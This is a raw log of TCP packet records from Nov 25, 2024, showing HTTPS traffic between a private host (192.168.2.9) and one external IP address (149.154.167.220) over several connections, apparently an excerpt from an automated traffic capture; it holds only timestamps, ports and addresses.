Nov 25, 2024 13:56:48.121567965 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.121591091 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.121629000 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.121669054 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.121702909 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.121751070 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.121777058 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.163348913 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.163785934 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.163863897 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.163918972 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.163997889 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.164066076 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.164066076 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.164114952 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.164174080 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.164205074 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.164222002 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.164222002 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.164252996 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.164283037 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.211371899 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.211788893 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.211865902 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.211884975 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.259330034 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.360018969 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.360177040 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.360234022 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.360266924 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.360378981 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.360455036 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.360539913 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.360583067 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.360656977 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.360712051 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.407346010 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.407649040 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.407757044 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.451333046 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.481201887 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.481452942 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.481533051 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.481554031 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.481744051 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.481811047 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.523354053 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.600214005 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.600441933 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.600518942 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.600980997 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.601104021 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.601149082 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.601192951 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.601223946 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.601273060 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.601353884 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.601353884 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.643354893 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.643862009 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.644073963 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.644170046 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.644187927 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.644366026 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.687333107 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.722702026 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.722896099 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.722954035 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.722985983 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.723128080 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.723184109 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.724176884 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.724200964 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.724380016 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.724420071 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.724440098 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.724555969 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.724677086 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.724766016 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.724878073 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.724973917 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.726197004 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.726293087 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.726393938 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.726419926 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.726459980 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.726514101 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.726555109 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.726568937 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.726603031 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.726686001 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.726707935 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.727801085 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.727823973 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.727961063 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.727998018 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.728075027 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.728163004 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.728240967 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.728271008 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.728286982 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.728302956 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.775330067 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.838475943 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.838675022 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.838726997 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.838756084 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.838920116 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.838967085 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.841345072 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.841409922 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.841546059 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.841583967 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.841975927 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.842116117 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.842176914 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.842238903 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.842293978 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.842309952 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.842322111 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.842988014 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.843066931 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.843170881 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.843210936 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.843213081 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.843231916 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.843231916 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.843333006 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.843369007 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.843380928 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.844897032 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.845000029 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.845165968 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.845205069 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.845230103 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.845247030 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.845407009 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.846731901 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.846818924 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.847002029 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.847045898 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.847220898 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.848562002 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.848658085 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.848807096 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.848849058 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.849029064 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.849077940 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.850097895 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.850181103 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.850317001 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.850359917 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.850373030 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.850471973 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.850502968 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.851838112 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.851897001 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.852020979 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.852035999 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.852087021 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.852166891 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.852207899 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.852207899 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.853149891 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.853214025 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.853343964 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.853389025 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.853521109 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.853568077 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.854396105 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.854412079 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.854510069 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.854526043 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.854536057 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.854573011 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.854590893 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.854620934 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.854620934 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.854665995 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.854741096 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.854798079 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.854867935 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.854921103 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.854990959 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.855001926 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.887588024 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.887840986 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.888031960 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.888113022 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:48.888118982 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.888227940 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.962030888 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:48.965099096 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:53.508884907 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:53.508980989 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:53.508965969 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:53.509042978 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:53.509392023 CET	49945	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:53.509438038 CET	443	49945	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:53.574665070 CET	49961	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:53.574742079 CET	443	49961	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:53.574836016 CET	49961	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:53.575213909 CET	49961	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:53.575236082 CET	443	49961	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:54.983103037 CET	443	49961	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:54.983197927 CET	49961	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:54.985879898 CET	49961	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:54.985909939 CET	443	49961	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:54.986119032 CET	49961	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:54.986133099 CET	443	49961	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:54.986288071 CET	49961	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:54.986299038 CET	443	49961	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:55.907531977 CET	443	49961	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:55.907622099 CET	443	49961	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:55.907708883 CET	49961	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:55.907710075 CET	49961	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:55.908179045 CET	49961	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:55.908212900 CET	443	49961	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:57.899878025 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:57.899934053 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:57.899985075 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:57.901195049 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:57.901221037 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.412349939 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.412441015 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.413038969 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.413048983 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.413316011 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.413321018 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.413568020 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.413583040 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.413702011 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.413719893 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.413820982 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.413875103 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414071083 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414086103 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414154053 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414163113 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414180994 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414186001 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414300919 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414309025 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414323092 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414326906 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414355993 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414365053 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414488077 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414496899 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414510965 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414516926 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414563894 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414571047 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414642096 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414649963 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414658070 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414663076 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414675951 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414680004 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414710045 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414720058 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414736032 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414819002 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414825916 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414833069 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414836884 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414858103 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414864063 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414920092 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414927006 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414941072 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414947033 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.414958000 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.414962053 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.415000916 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.415008068 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.415066004 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.415072918 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.415123940 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.415183067 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.415189028 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.415270090 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.415277958 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.415291071 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.415344954 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.415355921 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.415379047 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.415407896 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.415498018 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.415572882 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.459332943 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.459796906 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.459825039 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.459891081 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.459935904 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.459983110 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.460016012 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.460078955 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.460103035 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.460128069 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.460174084 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.507339954 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.507671118 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.507911921 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.508017063 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.508064032 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.508086920 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.508141041 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.508177996 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.508193016 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.508203983 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.508260965 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.508270025 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.555381060 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.557086945 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.557099104 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.557122946 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.557169914 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.557185888 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.557240963 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.557252884 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.557266951 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.557311058 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.557320118 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.557351112 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.557352066 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.603329897 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.603914976 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.603955030 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.604022026 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.604028940 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.604063034 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.604099989 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.604127884 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.604185104 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.604196072 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.604207993 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.604237080 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.647342920 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.647809029 CET	49970	443	192.168.2.9	149.154.167.220
